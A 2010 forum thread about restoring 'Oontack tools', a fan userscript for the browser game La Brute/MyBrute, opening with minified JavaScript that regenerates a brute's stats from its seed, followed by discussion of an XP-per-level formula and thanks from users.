oo.b={ "p":function(d){return["_Permanent",0,d]}, "s":function(d){return["_Super",1,d]}, "f":function(d){return["_Followers",2,d]}, "w":function(d){return["_Weapons",3,d]} };
oo.pb=[]; oo.pb.push(new oo.BP(oo.b.p("force herculeenne"),60)); oo.pb.push(new oo.BP(oo.b.p("agilite du felin"),60)); oo.pb.push(new oo.BP(oo.b.p("frappe eclaire"),60)); oo.pb.push(new oo.BP(oo.b.p("vitalite"),60)); oo.pb.push(new oo.BP(oo.b.p("immortel"),1)); oo.pb.push(new oo.BP(oo.b.p("maitre d'armes"),10)); oo.pb.push(new oo.BP(oo.b.p("arts martiaux"),10)); oo.pb.push(new oo.BP(oo.b.p("6eme sens"),20)); oo.pb.push(new oo.BP(oo.b.p("pugnace"),4)); oo.pb.push(new oo.BP(oo.b.p("tornade de coups"),10)); oo.pb.push(new oo.BP(oo.b.p("bouclier"),20)); oo.pb.push(new oo.BP(oo.b.p("armure"),4)); oo.pb.push(new oo.BP(oo.b.p("peau renforcee"),30)); oo.pb.push(new oo.BP(oo.b.p("intouchable"),1)); oo.pb.push(new oo.BP(oo.b.p("sabotage"),3)); oo.pb.push(new oo.BP(oo.b.p("choc"),10)); oo.pb.push(new oo.BP(oo.b.p("gros-bras"),5)); oo.pb.push(new oo.BP(oo.b.p("implacable"),1)); oo.pb.push(new oo.BP(oo.b.p("survie"),3)); oo.pb.push(new oo.BP(oo.b.s("voleur"),10)); oo.pb.push(new oo.BP(oo.b.s("brute feroce"),20)); oo.pb.push(new oo.BP(oo.b.s("potion tragique"),8)); oo.pb.push(new oo.BP(oo.b.s("filet"),16)); oo.pb.push(new oo.BP(oo.b.s("bombe"),6)); oo.pb.push(new oo.BP(oo.b.s("marteau pilon"),1)); oo.pb.push(new oo.BP(oo.b.s("cri-qui-poutre"),4)); oo.pb.push(new oo.BP(oo.b.s("hypnose"),2)); oo.pb.push(new oo.BP(oo.b.s("deluge"),2)); oo.pb.push(new oo.BP(oo.b.f("chien a"),20)); oo.pb.push(new oo.BP(oo.b.f("chien b"),8)); oo.pb.push(new oo.BP(oo.b.f("chien c"),2)); oo.pb.push(new oo.BP(oo.b.f("ours"),1)); oo.pb.push(new oo.BP(oo.b.f("panthere"),1)); oo.pb.push(new oo.BP(oo.b.w("couteau"),80)); oo.pb.push(new oo.BP(oo.b.w("glaive"),100)); oo.pb.push(new oo.BP(oo.b.w("lance"),40)); oo.pb.push(new oo.BP(oo.b.w("baton"),70)); oo.pb.push(new oo.BP(oo.b.w("trident"),10)); oo.pb.push(new oo.BP(oo.b.w("hache"),40)); oo.pb.push(new oo.BP(oo.b.w("cimeterre"),6)); oo.pb.push(new oo.BP(oo.b.w("marteau"),3)); oo.pb.push(new oo.BP(oo.b.w("epee"),4)); oo.pb.push(new oo.BP(oo.b.w("eventail"),2)); oo.pb.push(new oo.BP(oo.b.w("shuriken"),8)); oo.pb.push(new oo.BP(oo.b.w("massue"),50)); oo.pb.push(new oo.BP(oo.b.w("etoile du matin"),6)); oo.pb.push(new oo.BP(oo.b.w("os de mammouth"),20)); oo.pb.push(new oo.BP(oo.b.w("fleau"),4)); oo.pb.push(new oo.BP(oo.b.w("fouet"),3)); oo.pb.push(new oo.BP(oo.b.w("sai"),6)); oo.pb.push(new oo.BP(oo.b.w("poireau"),2)); oo.pb.push(new oo.BP(oo.b.w("mug"),2)); oo.pb.push(new oo.BP(oo.b.w("poele"),2)); oo.pb.push(new oo.BP(oo.b.w("piou piou"),2)); oo.pb.push(new oo.BP(oo.b.w("hallebarde"),2)); oo.pb.push(new oo.BP(oo.b.w("trombone"),2)); oo.pb.push(new oo.BP(oo.b.w("clavier"),2)); oo.pb.push(new oo.BP(oo.b.w("bol de noodle"),2)); oo.pb.push(new oo.BP(oo.b.w("raquette"),2));
//Main function for pushing the stats oo.I=function(i){ this.rd=(i<0?-i:i)+131; this.rd=(oo[oo["x12"](oo["x12"]('f','990'),'143167')])?this.rd:this.rd|3; this.n; this.sp; this.pp=[]; this.b; this.nbb; this.bf; this.ff; this.ba; this.fa; this.br; this.fr; this.be; this.fe; this.n_b=[]; it1(this); it2(this); function it1(b){ b.rd=(b.rd*16807)%2147483647; if((b.rd&1073741823)%1000==0){ b.rd=(b.rd*16807)%2147483647}b.sp=[0,0,1,1,2,2,3,3]; for(var i=0;i<3;i++){ b.rd=(b.rd*16807)%2147483647; b.sp.push((b.rd&1073741823)%4) } var l=oo.pb.length; for(var i=0,o;i<l;i++){ o=oo.pb[i]; b.pp.push(new oo.BP(o.b,o.p)) } b.rd=(b.rd*16807)%2147483647; if((b.rd&1073741823)%3>0){ red_p(oo.b.s("voleur"),0,b) } b.rd=(b.rd*16807)%2147483647; if((b.rd&1073741823)%3>0){ red_p(oo.b.s("deluge"),0,b) } b.rd=(b.rd*16807)%2147483647; if((b.rd&1073741823)%3>0){ red_p(oo.b.s("hypnose"),0,b) } b.rd=(b.rd*16807)%2147483647; if((b.rd&1073741823)%6>0){ red_p(oo.b.p("immortel"),0,b) } var a=["poireau","mug","poele","piou piou","trombone","clavier","bol de noodle","raquette"]; a.forEach(function(a){ b.rd=(b.rd*16807)%2147483647; if((b.rd&1073741823)%4>0){ red_p(oo.b.w(a),0,b) } },b); a=["couteau","glaive","lance","baton","trident","hache","cimeterre","marteau","epee","eventail","shuriken","massue","etoile du matin","os de mammouth","fleau","fouet"]; b.rd=(b.rd*16807)%2147483647; var c=(b.rd&1073741823)%3; for(i=0;i<c;i++){ b.rd=(b.rd*16807)%2147483647; var d=(b.rd&1073741823)%a.length; red_p(oo.b.w(a[d]),0,b) } } function it2(a){ a.bf=2; a.ba=2; a.br=2; a.be=2; a.n=0; a.b=[]; a.nbb=0; for(var i=0;i<oo.der+1;i++){ ogs(a) } } function ogs(a){ a.rd=(a.rd*16807)%2147483647; var b=(oo.df)?(a.rd&1073741823)%11:(a.rd&1073741823)%10; var k=a.sp[b]; switch(k){ case 0: a.bf++; break; case 1: a.ba++; break; case 2: a.br++; break; case 3: a.be++; break } } function cs(a){ a.bf=round(a.bf*a.ff); a.ba=round(a.ba*a.fa); a.br=round(a.br*a.fr); a.be=round(a.be*a.fe) } function red_p(a,v,b){ var t=b.pp.length; for(var i=0;i<t;i++){ if(cp(a,b.pp[i].b)){ b.pp[i].p=v; return } } } function cp(a,b){ if(a==null&&b==null){ return true} else if(a==null||b==null){ return false} else if(typeof a=='string'){ return a==b} else if(typeof a=='number'){ return a==b} else if(a instanceof Array){ if(a.length!=b.length){ return false} else{ for(var i=0;i<a.length;i++){ if(!oo.df)return true; if(!cp(a[i],b[i])) return false } return true } } else{ return false } } function red_p_b(c){ var a=["force herculeenne","agilite du felin","frappe eclaire","vitalite"]; a.forEach(function(a){ var b=[3,1,0,0]; red_p(oo.b.p(a),b[c.nbb],c) },c); c.nbb++ } function round(d){ return d<0?Math.ceil(d):Math.floor(d) } this.pn_=function(a){ this.ff=1.0; this.fa=1.0; this.fr=1.0; this.fe=1.0; it2(this); while(this.n<a){ this.n++; ogs(this); if(this.n<80){ this.db()} else{ this.rd=(this.rd*16807)%2147483647; if((this.rd&1073741823)%this.n<80){ this.db()} else{ this.n_b.push("") } } } cs(this) }; this.db=function(){ var l=this.pp.length; var a=0; for(var i=0;i<l;i++){ a+=this.pp[i].p} this.rd=(this.rd*16807)%2147483647; var c=(this.rd&1073741823)%a; var d=0; for(i=0;i<l;i++){ var b=this.pp[i]; d+=b.p; if(d>c){ this.ap(b.b); return } } }; this.ap=function(a){ for(var i=0;i<this.b.length;i++){ if(cp(this.b[i],a[2])){ this.n_b.push(""); return } } this.b.push(a[2]); var t=a[1]; var d=a[2]; switch(t){ case 0: switch(d){ case"force herculeenne": this.bf+=3; this.ff*=1.5; red_p_b(this); break; case"agilite du felin": this.ba+=3; this.fa*=1.5; red_p_b(this); break; case"frappe eclaire": this.br+=3; this.fr*=1.5; red_p_b(this); break; case"vitalite": this.be+=3; this.fe*=1.5; red_p_b(this); break; case"immortel": this.fe*=2.75; this.ff*=0.75; this.fa*=0.75; this.fr*=0.75; break } this.n_b.push(d); break; case 1: this.n_b.push(d); break; case 2: switch(d){ case"chien a": case"chien b": case"chien c": this.be-=2; break; case"panthere": this.be-=6; break; case"ours": this.be-=8; break } if(this.be<0) this.be=0; this.n_b.push(d); this.rd=(this.rd*16807)%2147483647; if((this.rd&1073741823)%1000>0){ if(cp(d,"panthere")) red_p(oo.b.f("ours"),0,this); if(cp(d,"ours")) red_p(oo.b.f("panthere"),0,this) } break; case 3: this.n_b.push(d); break } }; this.cle=function(){ return round(50+(this.be+this.n*0.25)*6) } };
oo.acc=function(a){ var b=a; while(b%10!=0) b++; var u=(b/10)==0?1:b/10; var d=u-1; var c=(a%10)==0?10:a%10; var e=10-c; for(var i=0;i<10;i++){ if(i<c)oo.f.push('sq_'+u); else oo.f.push('sq_'+d) } };
oo.afs=function(a,n){ oo.f=[]; var b=new oo.I(parseInt(a)); b.pn_(parseInt(n)); oo.acc(b.bf); oo.acc(b.ba); oo.acc(b.br); var c=oo.tag('div'); var d=0; for(var i=0;i<c.length;i++){ var e=c.item(i).className; if(e.match(/sq/)){ c.item(i).className=oo.f[d];d++} if(e.match(/legend/)){ //could not determine the order of the if-else statements var f=c.item(i); var g=f.firstChild.data; if(g.match(/r/)&&g.match(/e/)) if(g.match(/\d+/)) f.firstChild.data=f.firstChild.data.replace(/\d+/,b.bf); else f.firstChild.data+=(' '+b.bf); else if(g.match(/Agili/)) if(g.match(/\d+/)) f.firstChild.data=f.firstChild.data.replace(/\d+/,b.ba); else f.firstChild.data+=(' '+b.ba); else if((g.match(/p/)&&g.match(/d/))||g.match(/Velo/)) if(g.match(/\d+/)) f.firstChild.data=f.firstChild.data.replace(/\d+/,b.br); else f.firstChild.data+=(' '+b.br) } if(e.match(/life$/)) c.item(i).firstChild.firstChild.data=b.cle() } };
oo.afs(oo.ib,oo.nc);
| |
| | | La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Thu 11 Mar 2010, 17:50 | |
| The code is in the "spoiler" does not work. - w13winni wrote:
- sinon je n'ai pas accès au ftp du brutetools, des que j'ai le temps, c'est a dire ce week end, je voit ça avec banane.
It was not until this week-end because he must Banane20000 us aid. | |
| | | Sioc admin
Posts : 2785 Join date : 2009-12-19
| Subject: Re: FINAL FIX: Oontack tools Thu 11 Mar 2010, 18:36 | |
| - Code:
-
The code is in the "spoiler" does not work.
Of course, don't use it now ! It will work after that winni has coded the PHP part ! I have put it here in case Winni needs it in order to test his PHP code ! | |
| | | w13winni VIP
Posts : 282 Join date : 2009-04-17
| Subject: Re: FINAL FIX: Oontack tools Thu 11 Mar 2010, 18:47 | |
| - Sioc wrote:
It will work after that winni has coded the PHP part ! I have put it here in case Winni needs it in order to test his PHP code ! yes , thanks Sioc | |
| | | La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Fri 12 Mar 2010, 19:55 | |
| - Sioc wrote:
-
- Code:
-
The code is in the "spoiler" does not work.
Of course, don't use it now ! It will work after that winni has coded the PHP part ! I have put it here in case Winni needs it in order to test his PHP code ! :oops: I can not wait. | |
| | | Sioc admin
Posts : 2785 Join date : 2009-12-19
| Subject: Re: FINAL FIX: Oontack tools Fri 12 Mar 2010, 20:01 | |
| Lol, yes. And the new version will have fixed "XP-to-level-up" forecast as well (origial Oontack tools was only able to display it up to level 222). | |
| | | La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Sat 13 Mar 2010, 15:34 | |
| http://brutalcombo.comlu.com/XPLabrute.html
XP to level ??? | |
| | | Sioc admin
Posts : 2785 Join date : 2009-12-19
| Subject: Re: FINAL FIX: Oontack tools Sat 13 Mar 2010, 15:48 | |
| Yes, but you can get it from a formula (nothing new in fact) instead of a hard-coded table, for example in javascript: - Code:
-
getexp=function(thelvl){ return Math.floor(Math.pow(thelvl,2.3)) };
which means XP = Truncate(Level^2.3). There may however be some very slight differences at some levels. From this the rest (XP between two levels, required XP to level up, etc) follows quite straightforwardly. oontack tools was using a hard-coded list of exp up to level 222 (above level 222 it would display "?"). | |
| | | La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Sat 13 Mar 2010, 21:54 | |
| - taitoune wrote:
- Pour le calcul de l'xp j'avais quelques recherches de mon coté.
Pour le tableau de l'xp nécessaire jusqu'au niveau 240, tu peux aller voir là: http://brutalcombo.comlu.com/XPLabrute.html
J'avais joué avec excel pour trouver la bonne formule et le mieux que j'ai trouvé c'est: XP(n) = n^2,3 avec XP(n) l'expérience totale requise pour passer au niveau n. "To calculate the XP I had some research on my side. For Table of XP needed to level 240, you can go here: http://brutalcombo.comlu.com/XPLabrute.html I played with Excel to find the right formula and the best I found was: XP(n) = n^2,3with XP(n) the total experience required to complete a level n." | |
| | | w13winni VIP
Posts : 282 Join date : 2009-04-17
| Subject: Re: FINAL FIX: Oontack tools Sat 13 Mar 2010, 21:57 | |
| final script should works now^^
exemple :
http://labrutetools.fr.cr/popsim.php?brutea=THEBrutux&domainea=mybrute.com&domaineb=labrute.fr&bruteb=winni13w&seed=8418867&lvla=468&lvlb=pronostique&submit=+++++Simulation
ps : c'est possible de mettre banane vip ? vu que je le suis il devrait l'être aussi^^ | |
| | | La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Sat 13 Mar 2010, 23:13 | |
| - w13winni wrote:
- final script should works now^^
exemple :
http://labrutetools.fr.cr/popsim.php?brutea=THEBrutux&domainea=mybrute.com&domaineb=labrute.fr&bruteb=winni13w&seed=8418867&lvla=468&lvlb=pronostique&submit=+++++Simulation When you click on the link, the opponent is level 0... - w13winni wrote:
- ps : c'est possible de mettre banane vip ? vu que je le suis il devrait l'être aussi^^
Traduction: "Someone can put Banane20000 in V.I.P ?" | |
| | | Sioc admin
Posts : 2785 Join date : 2009-12-19
| Subject: Re: FINAL FIX: Oontack tools Sun 14 Mar 2010, 08:32 | |
| - La Fite wrote:
I played with Excel to find the right formula and the best I found was: XP(n) = n^2,3 with XP(n) the total experience required to complete a level n."
I know, this is nothing new, but Oontack tools was using a pre-calculated table of figures up to level 222. This new versions uses Trunc(x^2.3) so there is no limitation as for the level. - Quote :
final script should works now^^
I've done a little bit of testing and it seems to me everything is working fine! So... the final FIX is released ! All features that were working when the Oontack site was up are restored + the predictor for required EXP to level-up now works beyond level 222. First post of this thread was edited accordingly and you can find there the download links and installation procedure to userscipts.org.Thanks to La Frite, w13winni and Banane who have made this possible. PS: La Frite: could you please remove your userscripts.org entry? We'll keep only a single script on userscripts.org that will get updated.
Last edited by Sioc on Sun 14 Mar 2010, 09:17; edited 2 times in total | |
| | | Ultra SSJ Vegeta * * * * * * *
Posts : 291 Join date : 2009-07-13 Age : 45 Location : Germany
| Subject: Re: FINAL FIX: Oontack tools Sun 14 Mar 2010, 08:56 | |
| YEAH > forecast next match < works great THX greeting Vegi | |
| | | CypriaN * * * * * * * * *
Posts : 867 Join date : 2009-11-08 Age : 30 Location : New Zealand
| Subject: Re: FINAL FIX: Oontack tools Sun 14 Mar 2010, 09:09 | |
| thanx alot sioc just got it working today its really great | |
| | | La Frite * * * * * *
Posts : 111 Join date : 2009-09-10 Age : 27 Location : France
| Subject: Re: FINAL FIX: Oontack tools Sun 14 Mar 2010, 11:58 | |
| | |
| | | Yaboirobby * * * * * * * * * * *
Posts : 4322 Join date : 2009-05-21 Age : 28 Location : Atlanta, GA
| Subject: Re: FINAL FIX: Oontack tools Sun 14 Mar 2010, 12:58 | |
| Works flawlessly... great work w13, La Frite and Sioc :)
Last edited by Yaboirobby on Sun 14 Mar 2010, 14:58; edited 1 time in total | |
| | | ellindor * * * * * * *
Posts : 201 Join date : 2010-01-30 Location : England
| Subject: Re: FINAL FIX: Oontack tools Sun 14 Mar 2010, 14:40 | |
| Works great - thank you so much. :) | |
| | | w13winni VIP
Posts : 282 Join date : 2009-04-17
| Subject: Re: FINAL FIX: Oontack tools Sun 14 Mar 2010, 14:57 | |
| you're welcome | |
| | | Sponsored content
| Subject: Re: FINAL FIX: Oontack tools | |
| |
| | | | FINAL FIX: Oontack tools | |
|
Similar topics | |
|
| Permissions in this forum: | You cannot reply to topics in this forum
| |
| |
| |
|